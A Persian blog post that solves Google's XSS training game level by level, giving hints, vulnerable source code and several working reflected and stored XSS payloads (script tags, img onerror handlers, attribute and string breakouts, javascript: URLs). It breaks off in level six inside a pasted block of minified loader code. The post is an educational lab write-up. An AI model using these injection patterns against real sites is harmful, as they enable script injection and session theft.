حمله تزریق اسکریپت، با یک بازی آنرا را یاد بگیریم!

0011-learn-xss-by-game-featured-image
تیر ۱۲, ۱۳۹۶

در سه پست گذشته وبلاگ حمله XSS یا تزریق اسکریپت چیست؟، مثال‌هایی از حملات XSS و جلوگیری از حملات XSS به بررسی حمله تزریق اسکریپت یا XSS، چندین نمونه از آنها و راه‌های مقابله و جلوگیری از حملات تزریق اسکریپت پرداختیم.

حملات XSS، یا تزریق اسکریپت، یکی از روش های نفوذ پر استفاده توسط هکرها می‌باشد. در این نوع حمله، هکر تلاش میکند تا از طریقی، در صفحه‌ی وب اسکریپت خود را اجرا کند. هدف نهایی، اجرای این اسکریپت تزریق شده توسط تمام کاربرانیست که آن صفحه‌ی مورد نظر را مشاهده می‌کنند. البته گونه‌های دیگری از این حمله XSS وجود دارد که در پست‌های قبلی  معرفی کردم. اما اینجا میخواییم با استفاده از یک بازی جالب که گوگل آماده کرده، جای یک هکر بشینیم و به ۶ سایت متفاوت نفوذ کنیم و کد Javascript خودمون رو اجرا کنیم.

بازی یادگیری حملات تزریق اسکریپت

اگر مجموعه پست‌های قبلی درباره حملات تزریق اسکریپت را خوانده باشید، و یا سابقه توسعه اپلیکیشن تحت وب را دارید، پیشنهاد میکنم قبل از خواندن ادامه متن خودتان این بازی را انجام دهید تا دانش خود را محک بزنید. اگر نه، توصیه میکنم سه پست زیر را به ترتیب مطالعه کنید و بعد از آن این بازی را خودتان انجام دهید.

  1.  حمله XSS یا تزریق اسکریپت چیست؟
  2. مثال‌هایی از حملات XSS
  3. جلوگیری از حملات XSS

 

نکته‌ی مهم!
بدلایلی که البته کاملا مشخص هست، گوگل دسترسی آی‌پی های ایرانی را به این وبسایت محدود کرده است. در نتیجه از راه‌هایی برای تغییر آی‌پی خود استفاده کنید.
اگر در هر مرحله دچار مشکل شدید، در ادامه‌ی پست تک تک مراحل با چندین روش توضیح داده شده‌اند. اما سعی کنید خودتان با هر مرحله کلنجار بروید.
در هر مرحله، در بالای صفحه، توضیحات مرحله و هدف مرحله معرفی شده است. سپس خود مرحله که یک iframe از صفحه‌ی دیگری می‌باشد قرار دارد. در نهایت، کد مرحله و نکات کمکی برای نحوه‌ی انجام این مرحله قرار داده شده است.

 

مرحله اول بازی حمله تزریق اسکریپت

این مرحله، نمونه‌ای از قرار دادن داده غیرقابل اعتماد، که توسط کاربر ارایه می‌شود، بدون Escape مناسب درون صفحه است.

با اپلیکیشن آسیب‌پذیر زیر کار کنید، و راهی پیدا کنید که بتوانید در آن کد جاوااسکریپت را اجرا کنید. شما هم می‌توانید درون پنجره‌ی آسیب‌پذیر کار کنید، هم با آدرس URL مربوط به آن.

این مرحله از نوع حمله‌ی تزریق اسکریپت Reflected XSS یا Non-Persistent می‌باشد، که به حمله تزریق اسکریپت Type II معروف هستند.

عنوان

به دنیای XSS خوش آمدید! – Hello, world of XSS

هدف مرحله

وارد کردن یک کد جاوااسکریپت که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

نکات کمکی

  1. برای مشاهده سورس صفحه، بر روی آن راست کلیک کرده و بر روی عبارت “View Frame Source” کلیک کنید. یا اینکه از Developer Tools مرورگر خود برای مشاهده ترافیک و درخواست های ارسالی و نتایج دریافتی استفاده کنید.
  2. چه اتفاقی می‌افتد اگر تگی که نمایش متن را تغییر می‌دهد، همچون تگ h1، بعنوان عبارت جستجو استفاده کنید؟
  3. بسیار خب، آخرین نکته: <script> ... alert ...

چگونه به جواب برسیم

اولین کار، وارد کردن یک عبارت درون کادر جستجو و کلیک بر روی search می باشد. بعد از وارد کردن میبینیم که مقدار جستجو شده، بصورت مستقیم و تنها Bold شده در صفحه نمایش نتایج، وارد شده است. مثلا اگر عبارت test را جستجو کنیم، عبارت زیر نمایش داده می‌شود:

Sorry, no results were found for test. Try again.

خب، پس از مشاهده این نکته، که عین عبارت وارد شده در صفحه‌ی نتایج قرار داده و نمایش داده می‌شود، سعی کنیم عبارت زیر را جستجو کنیم:

<h1>Allii.ir</h1>
view raw level-1.html hosted with ❤ by GitHub

پس از جستجوی این عبارت، مشاهده میکنیم که عبارت Allii.ir بصورت تیتر ۱ نمایش داده شد. یعنی تگ h1 بدون هیچگونه تغییری در صفحه وارد شد. در نتیجه هر عبارتی شامل تگ HTMLای را جستجو کنیم، به راحتی در صفحه قرار داده می‌شود. حالا بیاییم عبارت زیر را جستجو کنیم:

<script>alert('allii.ir')</script>
view raw level-1.html hosted with ❤ by GitHub

پس از جستجوی عبارت، در صفحه‌ی نتایج یک Alert box با مقدار allii.ir نمایش داده می‌شود. تبریک می‌گویم. شما این مرحله را به درستی رد کردید.

جواب مرحله

نوشتن عبارت زیر در کادر جستجوی نمایش داده شده در صفحه.

<script>alert('allii.ir')</script>
view raw level-1.html hosted with ❤ by GitHub


 

مرحله دوم بازی حمله تزریق اسکریپت

اپلیکشن‌های تحت وب، عموما داده‌های کاربر را در سمت سرور ذخیره می‌کنند. اما در چند سال اخیر بصورت فزاینده‌ای مشاهده می‌شود که این اطلاعات در سمت کاربر و دیتابیس‌های مرورگر ذخیره هم دخیره می‌شود. در نهایت این داده‌های ذخیره شده به کاربر نمایش داده می‌شود. بدون توجه به اینکه ای داده‌های در کجا ذخیره و بازیابی می‌شود، می‌بایست به درستی و احتیاط با آنها برخورد کرد.

این مرحله یک باگ حمله تزریق اسکریپت ساده، که در اپلیکیشن‌های پیچیده به راحتی قابل وارد شدن می‌باشد را نمایش می‌دهد.

این مرحله از نوع حمله‌ی تزریق اسکریپت Stored XSS یا Persistent می‌باشد که به حمله‌ی تزریق اسکریپت Type I معروف هستند.

عنوان

نکته کلیدی، ماندگاری – Persistence is key

هدف مرحله

وارد کردن یک کد جاوااسکریپت که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

نکته: اپلیکیشن پست‌هایی که میفرستید را ذخیره می‌کند. در نتیجه اگر وارد کدها بشوید تا یک alert نمایش داده شود این مرحله را رد می‌کنید.

نکات کمکی

  1. در نظر داشته باشید که پست خوش‌آمدگویی (Welcome)، دارای تگ‌های HTML می‌باشد. که نشان می‌دهد اپلیکیشن به‌درستی کد‌های HTML را Escape نکرده است.
  2. وارد کردن تگ <script> بصورت مستقیم در این مرحله جواب نمی‌دهد. یک المان با خاصیتی که قابلیت اجرای جاوااسکریپت دارد را وارد کنید.
  3. این مرحله توسط حروف i و m و g و خاصیت onerror اسپانسر شده است.

چگونه به جواب برسیم

اولین کاری که به نظرمان می‌رسد، انجام کاری شبیه به آنچه که در مرحله‌ی یک انجام شد می باشد. یک پست حاوی تگ script بنویسیم. بطور مثال عبارت زیر را بعنوان متن پست وارد کنیم.

New Post!!!!
<script>alert('allii.ir')</script>
view raw level-2.html hosted with ❤ by GitHub

اما پس از وارد کردن این عبارت بعنوان متن پست و کلیک بر روی دکمه‌ی Share status! هیچ اتفاقی نمی‌افتد. اما هر تگ دیگر HTMLای وارد کنیم، همانند تگ لینک a که در پست خوش‌آمدگویی از آن استفاده شده است، به درستی نمایش داده می‌شود. مشکل چیست؟ باید به سورس صفحه مراجعه کرد. در سورس‌های مربوط به فایل index.html در خط ۳۲ام مشاهده می‌کنیم که پس از ساخت کد HTML مربوط به هر پست، آنرا در innerHTML مربوط به المان حاوی پست‌ها قرار می‌دهد. کد زیر:

function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
view raw level-2.html hosted with ❤ by GitHub

مشکل همینجاست. در مشخصات (Specifications) مربوط به HTML5 برای innerHTML تعیین شده است که می‌بایست تگ اسکریپت را اجرا نکند. اطلاعات تکمیلی در اینجا و اینجا.

حالا باید چکار بکنیم؟ سراغ نکات کمکی، نکته‌ی شماره‌ی ۳ می‌رویم. با خواندن با دقت این نکته، دو چیز را متوجه می‌شویم. یک خاصیت onerror، دو تگ img. خب تگ img دارای خاصیت (رویداد)ی می‌باشد که هر موقع نتواند آدرس عکس قرار داده شده را دریافت و نمایش دهد، آنرا فرا می‌خواند. در نتیجه، می‌توان عبارت زیر را بعنوان متن پست قرار بدهیم.

New Post!!!!
<img src="http://fake-address-of-an-image-file" onerror="alert('allii.ir')" />
view raw level-2.html hosted with ❤ by GitHub

و میبینیم به راحتی یک alert در صفحه نمایش داده می‌شود.

جواب مرحله

با توجه به نوع حفره موجود، می‌توان روش‌های متفاوتی را برای اجرای کد جاوااسکریپت‌مان استفاده کنیم. روش‌هایی که هم بصورت خودکار، و هم بصورت دستی و با رفتار کاربر اجرا می‌شوند. در زیر نمونه‌هایی از آن نمایش داده شده است.

New Post!!!!
<img src="http://fake-address-of-an-image-file" onerror="alert('allii.ir')" />
view raw level-2.html hosted with ❤ by GitHub

New Post!!!!
<img src="https://xss-game.appspot.com/static/level2_icon.png" onload="alert('allii.ir');" />
view raw level-2.html hosted with ❤ by GitHub

New Post!!!!
<a href="#" onclick="alert('allii.ir');">allii.ir</a>
view raw level-2.html hosted with ❤ by GitHub

New Post!!!!
<a href="#" onmouseover="alert('allii.ir');">allii.ir</a>
view raw level-2.html hosted with ❤ by GitHub


 

مرحله سوم بازی حمله تزریق اسکریپت

همانطور که در مرحله‌های قبلی مشاهده کردید، برخی از توابع متداول جاوااسکریپت، حفره‌هایی برای اجرای کد جاوااسکریپت (Execution sinks) هستند. بدین معنی که آنها اجازه اجرای کد جاوااسکریپتی که توسط کاربر ارایه می‌شود را در مروگر می‌دهند. گاهی اوقات این حفره‌ها توسط APIهایی سطح بالایی که در لایه‌های زیرین خود از این حفره‌ها استفاده می‌کنند، پوشیده‌ شده اند. اپلیکشن این مرحله از این نوع حفره رنج می‌برد.

این مرحله از نوع حمله‌ی تزریق اسکریپت Reflected XSS یا Non-Persistent می‌باشد، که به حمله تزریق اسکریپت Type II معروف هستند.

عنوان مرحله

آن حس غرق شدن (بازی با Sink به معنی حفره و Sinking به معنی غرق شدن) – That sinking feeling

هدف مرحله

همانند مراحل قبل، وارد کردن یک کد جاوااسکریپت که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

از آنجایی‌که این اپلیکیشن هیچ جایی برای وارد کردن داده‌ توسط کاربر ندارد، می‌بایست بصورت دستی آدرس URL را برای اجرای کد خود تغییر دهید.

نکات کمکی

  1. برای پیدا کردن منشاء باگ، کد جاوااسکریپت صفحه را بررسی کنید تا ببینید در کدام بخش، از داده‌های ارایه شده توسط کاربر استفاده می‌کند.
  2. داده‌های درون window.location‌ می‌تواند توسط حمله‌کننده تغییر داده شود.
  3. وقتی که حفره نفوذ را پیدا کردید، به راهی برای  وارد کردن کد HTML به صفحه فکر کنید.
  4. مثل مرحله قبل، تگ script بکار نمی‌آید. چون مرورگر اجازه‌ی اجرای کد جاوااسکریپت را پس از اتمام لود کردن صفحه نمی‌دهد.

چگونه به جواب برسیم

این اپلیکیشن یک صفحه با سه تب می‌باشد که در درون هر تب یک عکس با توجه به شماره‌ی تب نمایش داده می‌شود. با کلیک بر هر تب، مقدار بعد از # درون URL صفحه تغییر می‌کند. همچنین عکس موجود در کادر زیر tab نیز با توجه به آن تغییر می‌کند. نکته اصلی در حل این مرحله، مقدار بعد از # درون URL صفحه است. با مشاهده سورس مربوط به index.html مشاهده می‌شود که اپلیکیشن در بار اول اجرا با استفاده از مقدار window.location.hash، تابع chooseTab را فرا‌ میخواند (خط ۳۷). سپس تابع chooseTab از این مقدار داده شده، تصمیم میگیرد که چه آدرسی را برای عکس به صفحه اضافه کند (خط ۱۷).

<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
view raw level-3.html hosted with ❤ by GitHub

نکته جالب و اساسی برای ما، این است که اپلیکیشن از مقدار بعد از # استفاده کرده و برای لود کردن فایل عکس مربوط به تگ img استفاده می‌کند. چه جالب! مرحله ۲ یادتان هست؟ تگ img و خاصیت onerror شما را یاد چیزی نمی‌اندازد؟ به کد خط ۱۷ بهتر توجه کنید. num در میانه‌ی یک آدرس src تگ img قرار داده شده است. برای حل این مرحله ما باید کاری کنیم که یک عکس که وجود ندارد را لود کنیم، سپس رویداد onerror را نیز فرابخوانیم. چالش، خروج از مقدار مربوط به خاصیت src می‌باشد. همانطور که می‌بینید خاصیت src با علامت نقل قول تک ' محصور شده است. کافیست آدرس صفحه را به مقدار زیر تغییر بدهیم و بر روی Go کلیک کنیم.

https://xss-game.appspot.com/level3/frame#5' onerror="alert('allii.ir')" />
view raw level-3.html hosted with ❤ by GitHub

تمام! alert مد نظرمان اجرا شد.

جواب مرحله

این مرحله همانند مرحله دوم دارای جواب های متفاوتی می‌باشد. وارد کردن هرکدام از مقادیر زیر در آدرس URL صفحه باعث اجرا شدن کد ما می‌شود.

https://xss-game.appspot.com/level3/frame#5' onerror="alert('allii.ir')" />
view raw level-3.html hosted with ❤ by GitHub

https://xss-game.appspot.com/level3/frame#1.jpg' onload="alert('allii.ir')" />
view raw level-3.html hosted with ❤ by GitHub

https://xss-game.appspot.com/level3/frame#'/><script>alert('allii.ir')</script>
view raw level-3.html hosted with ❤ by GitHub


 

مرحله چهارم بازی حمله تزریق اسکریپت

تمامی داده‌هایی که توسط کاربر دریافت می‌شود، می‌بایست با توجه به زمینه (Context)ای که از آن استفاده می‌شود، با دقت تمام Escape شود. این مرحله دلیل اینکار را نشان می‌دهد.

این مرحله از نوع حمله‌ی تزریق اسکریپت Reflected XSS یا Non-Persistent می‌باشد، که به حمله تزریق اسکریپت Type II معروف هستند.

عنوان

زمینه‌ مهم است – Context matters

هدف مرحله

وارد کردن یک کد جاوااسکریپت که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

نکات کمکی

  1. ببینید تابع startTimer چگونه اجرا می‌شود.
  2. هنگامی که مرورگر‌ها خاصیت‌های تگ‌ (Tag attributes)  را تجزیه و تحلیل می‌کنند، ابتدا آنها را HTML دیکد می‌کنند. این دو عبارت یکسان هستند <foo bar='z'> و <foo bar='&#x7a;'
  3. با وارد کردن کاراکتر نقل قول ' در مقدار input شروع کنید. Console را برای خطایی که نشان می‌دهد بررسی کنید.

چگونه به جواب برسیم

با وارد کردن یک مقدار عددی، به صفحه‌ی timer.html برده می‌شویم که در آن به تعداد عددی که وارد کردیم به ثانیه، یک شمارنده شروع به شمارش می‌کند و در نهایت یک alert نشان‌دهنده پایان شمارش نشان داده می‌شود. تا اینجای کار نکته‌ی خاصی وجود ندارد. یک input برای وارد کردن مقدار توسط کاربر و استفاده از مقدار داده شده برای اجرای کدی در صفحه.

<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
view raw level-4.html hosted with ❤ by GitHub

با وارد کردن مقدار ' در input، میبینیم که اجرای کد دچار مشکل می‌شود و هیچ شمارنده و alertای نمایش داده نمی‌شود. پس باید با ' به هدفمان برسیم. با بررسی کردن کنسول برای خطایی که ایجاد می‌شود، به خطای زیر میرسیم.

Uncaught SyntaxError: Invalid or unexpected token

پس از مشاهده خط کد مربوط به این خطا، به خط شماره‌ی ۲۱، که مربوط به عکس لودینگ می‌باشد می‌رسیم. این عکس، دارای خاصیت onload می‌باشد که پس از لود عکس لودینگ، با فراخوانی عبارت startTimer('{{ timer }}'); تایمر را راه می‌انداز. با گذاشتن ' باعث خراب شدن این تابع با خروج از مقدار آرگومان تابع startTimer شده‌ایم. حالا باید از این مشکل که باعث خروج ما از مقدار آرگومان تابع می‌شود استفاده کنیم و کد خود را اجرا کنیم. هدف تبدیل تگ img به شکل عبارت زیر می‌باشد.

<img onload="startTimer('');alert('allii.ir');" src="/static/loading.gif"></img>
view raw level-4.html hosted with ❤ by GitHub

ساده‌ترین راه، وارد کردن عبارت ');alert('allii.ir در input می‌باشد. وارد کردن این عبارت در URL صفحه در مقابل ?timer= عمل نمیکند. مشکل Encoding متفاوتی می‌باشد که در Contextهای متفاوت اتفاق می‌افتد. مشکل اصلی نقطه ویرگول ; می‌باشد که کد و دیکد شدنش باعث می‌شود مفهوم خود را بعنوان پایان دستور قبلی و شروع دستور بعدی از دست بدهد. برای رفع آن دو راه داریم. یا باید یا آنرا به شکل دیگری به اسکریپت بدهیم، یا کلا نقطه ویرگول را حذف کنیم. برای راه‌حل اول می‌توانیم ; را به %۳B تبدیل کنیم. یعنی در آدرس URL‌ بعد از ?timer= بنویسیم ')%۳Balert('allii.ir. برای راه‌حل دوم می‌توانیم بجای ; از عبارت منطقی || یا همان OR منطقی استفاده کنیم. استفاده از آن باعث میشود که هر دو عبارت قبل و بعد از آن اجرا شود.  یعنی در آدرس URL‌ بعد از ?timer= بنویسیم ')||alert('allii.ir.

جواب مرحله

مرحله‌ی چهار نیز دارای چندین روش برای حل می‌باشد. وارد کردن هر یک از عبارات زیر باعث می‌شود که alert مد نظر ما اجرا شود. در نظر داشته بجز راه‌حل اول که می‌بایست بصورت مستقیم در URL  صفحه و بعد از ?timer= نوشته شود، دیگر راه‌حل‌ها می‌بایست بعنوان ورودی در input موجود در صفحه نوشته شود.

')%3Balert('allii.ir
view raw level-4.html hosted with ❤ by GitHub

');alert('allii.ir
view raw level-4.html hosted with ❤ by GitHub

')||alert('allii.ir
view raw level-4.html hosted with ❤ by GitHub

1');alert('allii.ir');//
view raw level-4.html hosted with ❤ by GitHub


 

مرحله پنجم بازی حمله تزریق اسکریپت

حمله تزریق اسکریپت، تنها به معنی Escape کردن مناسب داده‌های غیرقابل اعتماد ارسال شده توسط کاربر نمی‌باشد. گاهی اوقات حمله‌کنندگان می‌توانند بدون وارد کردن چیزی به درون DOM صفحه، کد خطرناکی را اجرا کنند.

این مرحله از نوع حمله‌ی تزریق اسکریپت Reflected XSS یا Non-Persistent می‌باشد، که به حمله تزریق اسکریپت Type II معروف هستند.

عنوان مرحله

شکستن پروتکل – Breaking protocol

هدف مرحله

وارد کردن یک کد جاوااسکریپت که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

نکات کمکی

  1. عنوان مرحله یک نکته کمکی می‌باشد.
  2. نگاه کردن به سورس صفحه ثبت‌نام و اینکه چگونه پارمتر URL در آن استفاده شده است کمک کننده است.
  3. اگر بخواهید یک لینک، کد جاوااسکریپت را اجرا کنند، بدون اینکه از خاصیت onclick استفاده کند باید چکار کنید؟
  4. اگر واقعا گیر کرده‌اید، این صفحه IETF draft را مشاهده کنید.

چگونه به جواب برسیم

اولین کار اینست که بر روی لینک Signup و سپس Next >> کلیک کنید. همانطور که مشاهده می‌کنید، پس از کلیک بر روی Signup به صفحه‌ای می‌رویم که در آن یک آدرس ایمیل از ما می‌گیرد. سپس با کلیک بر روی Next >> وارد صفحه نهایی می‌شوید و در نهایت به صفحه اول بر‌می‌گردید.

نکته اساسی در کد صفحه signup می‌باشد.

<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
view raw level-5.html hosted with ❤ by GitHub

چیز خاصی پیدا می‌کنید؟ نه؟ به خط ۱۵ توجه کنید. مقدار href مربوط به لینک بصورت داینامیک از پارامتر HTTP GET بدست می‌آید و استفاده می‌شود. با تغییر مقدار پارامتر next در URL صفحه می‌توانید این مقدار را تغییر بدهید. اما چگونه کد Javascript را اجرا کنیم؟ عنوان مرحله را بیاد بیاورید. شکستن پروتکل؟ چگونه پروتکل http را بشکنیم و پروتکل javascript را اجرا کنیم؟ راه حل خیلی ساده است. کافیست آدرس سایت را به مقدار زیر تغییر بدهیم.

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('allii.ir')
view raw level-5.html hosted with ❤ by GitHub

جواب مرحله

این مرحله دارای یک جواب است. کافیست پارامتر next مربوط به صفحه‌ی singup را با نوشتن javascript: به پروتکل javascript ببریم. به شکل زیر:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('allii.ir')
view raw level-5.html hosted with ❤ by GitHub


 

مرحله ششم بازی حمله تزریق اسکریپت

اپلیکیشن‌های پیچیده تحت وب، گاهی اوقات دیگر فایل‌های جاوااسکریپت را براساس مقدار موجود در پارامتر URLاشان یا location.hash بصورت داینامیک لود می‌کنند.

این موضوع به توجه بسیار زیادی نیاز دارد. اجازه داشتن کاربر برای تغییر دادن URL باعث می‌شود که بتواند اسکریپت‌های ناخواسته و خطرناکی را اجرا کند.

این مرحله از نوع حمله‌ی تزریق اسکریپت Reflected XSS یا Non-Persistent می‌باشد، که به حمله تزریق اسکریپت Type II معروف هستند.

عنوان

خرگوش را دنبال کن – Follow the rabbit

هدف مرحله

پیدا کردن راهی برای لود کردن فایل اسکریپت خارجی در صفحه که در نتیجه‌ی آن یک alert در صفحه ناامن اجرا شود.

نکات کمکی

  1. مشاهده کنید که تغییر دادن عبارت بعد از # درون URL چگونه لود شدن اسکریپت را تغییر می‌دهد.
  2. آیا چک امنیتی که برای چک کردن URL بکار می‌رود در مقابل خطا امن است؟
  3. گاهی اوقات که واقعا نا‌امید می‌شوم، میخوام فریاد بزنم… (Sometimes when I'm frustrated, I feel like screaming...)
  4. اگر نمی‌توانید فایل خطرناکتان را در جایی میزبانی کنید، ببینید آیا این آدرس google.com/jsapi?callback=foo می‌تواند به شما کمک کند؟

چگونه به جواب برسیم

این مرحله جذاب‌ترین مرحله برای من بود. آن‌هم بخاطر نکته‌ کمکی ۳ و ۴، مخصوصا ۳ . در ادامه به اینکه چرا این نکات خیلی جذاب بود می‌پردازم. الان بریم سراغ پیدا کردن راه‌حلی برای نفوذ.

اولین مرحله پیدا کردن یک فایل اسکریپت خارجیست که بتواند یک alert را اجرا کند. شما می‌توانید یک فایل جاوااسکریپت را روی یک هاست قرار بدید که درونش یک alert باشد. یا اینکه از نکته‌ی جالب چهار استفاده کنید. آدرس را باز کنید. یک فایل جاوااسکریپت باز می‌شود. به پارامتر callback توجه کنید؟ بدنبال آن در صفحه بگردید. آنرا در خط آخر پیدا میکنید.

if(!window['googleLT_']){window['googleLT_']=(new Date()).getTime();}if (!window['google']) {
window['google'] = {};
}
if (!window['google']['loader']) {
window['google']['loader'] = {};
google.loader.ServiceBase = 'https://www.google.com/uds';
google.loader.GoogleApisBase = 'https://ajax.googleapis.com/ajax';
google.loader.ApiKey = 'notsupplied';
google.loader.KeyVerified = true;
google.loader.LoadFailure = false;
google.loader.Secure = true;
google.loader.GoogleLocale = 'www.google.com';
google.loader.ClientLocation = null;
google.loader.AdditionalParams = '';
(function() {function g(a){return a in l?l[a]:l[a]=-1!=navigator.userAgent.toLowerCase().indexOf(a)}var l={};function m(a,b){var c=function(){};c.prototype=b.prototype;a.ca=b.prototype;a.prototype=new c}function n(a,b,c){var d=Array.prototype.slice.call(arguments,2)||[];return function(){return a.apply(b,d.concat(Array.prototype.slice.call(arguments)))}}function p(a){a=Error(a);a.toString=function(){return this.message};return a}
function q(a,b){a=a.split(/\./);for(var c=window,d=0;d<a.length-1;d++)c[a[d]]||(c[a[d]]={}),c=c[a[d]];c[a[a.length-1]]=b}function r(a,b,c){a[b]=c}if(!t)var t=q;if(!u)var u=r;google.loader.F={};t("google.loader.callbacks",google.loader.F);var v={},w={};google.loader.eval={};t("google.loader.eval",google.loader.eval);
google.load=function(a,b,c){function d(a){var b=a.split(".");if(2<b.length)throw p("Module: '"+a+"' not found!");"undefined"!=typeof b[1]&&(e=b[0],c.packages=c.packages||[],c.packages.push(b[1]))}var e=a;c=c||{};if(a instanceof Array||a&&"object"==typeof a&&"function"==typeof a.join&&"function"==typeof a.reverse)for(var f=0;f<a.length;f++)d(a[f]);else d(a);if(a=v[":"+e]){c&&!c.language&&c.locale&&(c.language=c.locale);c&&"string"==typeof c.callback&&(f=c.callback,f.match(/^[[\]A-Za-z0-9._]+$/)&&(f=
window.eval(f),c.callback=f));if((f=c&&null!=c.callback)&&!a.D(b))throw p("Module: '"+e+"' must be loaded before DOM onLoad!");f?a.u(b,c)?window.setTimeout(c.callback,0):a.load(b,c):a.u(b,c)||a.load(b,c)}else throw p("Module: '"+e+"' not found!");};t("google.load",google.load);
google.ba=function(a,b){b?(0==x.length&&(y(window,"load",z),!g("msie")&&!g("safari")&&!g("konqueror")&&g("mozilla")||window.opera?window.addEventListener("DOMContentLoaded",z,!1):g("msie")?document.write("<script defer onreadystatechange='google.loader.domReady()' src=//:>\x3c/script>"):(g("safari")||g("konqueror"))&&window.setTimeout(B,10)),x.push(a)):y(window,"load",a)};t("google.setOnLoadCallback",google.ba);
function y(a,b,c){if(a.addEventListener)a.addEventListener(b,c,!1);else if(a.attachEvent)a.attachEvent("on"+b,c);else{var d=a["on"+b];a["on"+b]=null!=d?C([c,d]):c}}function C(a){return function(){for(var b=0;b<a.length;b++)a[b]()}}var x=[];google.loader.W=function(){var a=window.event.srcElement;"complete"==a.readyState&&(a.onreadystatechange=null,a.parentNode.removeChild(a),z())};t("google.loader.domReady",google.loader.W);var D={loaded:!0,complete:!0};
function B(){D[document.readyState]?z():0<x.length&&window.setTimeout(B,10)}function z(){for(var a=0;a<x.length;a++)x[a]();x.length=0}
google.loader.f=function(a,b,c){if(c){if("script"==a){var d=document.createElement("script");d.type="text/javascript";d.src=b}else"css"==a&&(d=document.createElement("link"),d.type="text/css",d.href=b,d.rel="stylesheet");(a=document.getElementsByTagName("head")[0])||(a=document.body.parentNode.appendChild(document.createElement("head")));a.appendChild(d)}else"script"==a?document.write('<script src="'+b+'" type="text/javascript">\x3c/script>'):"css"==a&&document.write('<link href="'+b+'" type="text/css" rel="stylesheet"></link>')};
t("google.loader.writeLoadTag",google.loader.f);google.loader.Z=function(a){w=a};t("google.loader.rfm",google.loader.Z);google.loader.aa=function(a){for(var b in a)"string"==typeof b&&b&&":"==b.charAt(0)&&!v[b]&&(v[b]=new E(b.substring(1),a[b]))};t("google.loader.rpl",google.loader.aa);google.loader.$=function(a){if((a=a.specs)&&a.length)for(var b=0;b<a.length;++b){var c=a[b];"string"==typeof c?v[":"+c]=new F(c):(c=new G(c.name,c.baseSpec,c.customSpecs),v[":"+c.name]=c)}};t("google.loader.rm",google.loader.$);
google.loader.loaded=function(a){v[":"+a.module].o(a)};t("google.loader.loaded",google.loader.loaded);google.loader.V=function(){return"qid="+((new Date).getTime().toString(16)+Math.floor(1E7*Math.random()).toString(16))};t("google.loader.createGuidArg_",google.loader.V);q("google_exportSymbol",q);q("google_exportProperty",r);google.loader.a={};t("google.loader.themes",google.loader.a);google.loader.a.K="//www.google.com/cse/static/style/look/bubblegum.css";u(google.loader.a,"BUBBLEGUM",google.loader.a.K);
google.loader.a.M="//www.google.com/cse/static/style/look/greensky.css";u(google.loader.a,"GREENSKY",google.loader.a.M);google.loader.a.L="//www.google.com/cse/static/style/look/espresso.css";u(google.loader.a,"ESPRESSO",google.loader.a.L);google.loader.a.O="//www.google.com/cse/static/style/look/shiny.css";u(google.loader.a,"SHINY",google.loader.a.O);google.loader.a.N="//www.google.com/cse/static/style/look/minimalist.css";u(google.loader.a,"MINIMALIST",google.loader.a.N);google.loader.a.P="//www.google.com/cse/static/style/look/v2/default.css";
u(google.loader.a,"V2_DEFAULT",google.loader.a.P);function F(a){this.b=a;this.B=[];this.A={};this.l={};this.g={};this.s=!0;this.c=-1}
F.prototype.i=function(a,b){var c="";void 0!=b&&(void 0!=b.language&&(c+="&hl="+encodeURIComponent(b.language)),void 0!=b.nocss&&(c+="&output="+encodeURIComponent("nocss="+b.nocss)),void 0!=b.nooldnames&&(c+="&nooldnames="+encodeURIComponent(b.nooldnames)),void 0!=b.packages&&(c+="&packages="+encodeURIComponent(b.packages)),null!=b.callback&&(c+="&async=2"),void 0!=b.style&&(c+="&style="+encodeURIComponent(b.style)),void 0!=b.noexp&&(c+="&noexp=true"),void 0!=b.other_params&&(c+="&"+b.other_params));
if(!this.s){google[this.b]&&google[this.b].JSHash&&(c+="&sig="+encodeURIComponent(google[this.b].JSHash));b=[];for(var d in this.A)":"==d.charAt(0)&&b.push(d.substring(1));for(d in this.l)":"==d.charAt(0)&&this.l[d]&&b.push(d.substring(1));c+="&have="+encodeURIComponent(b.join(","))}return google.loader.ServiceBase+"/?file="+this.b+"&v="+a+google.loader.AdditionalParams+c};
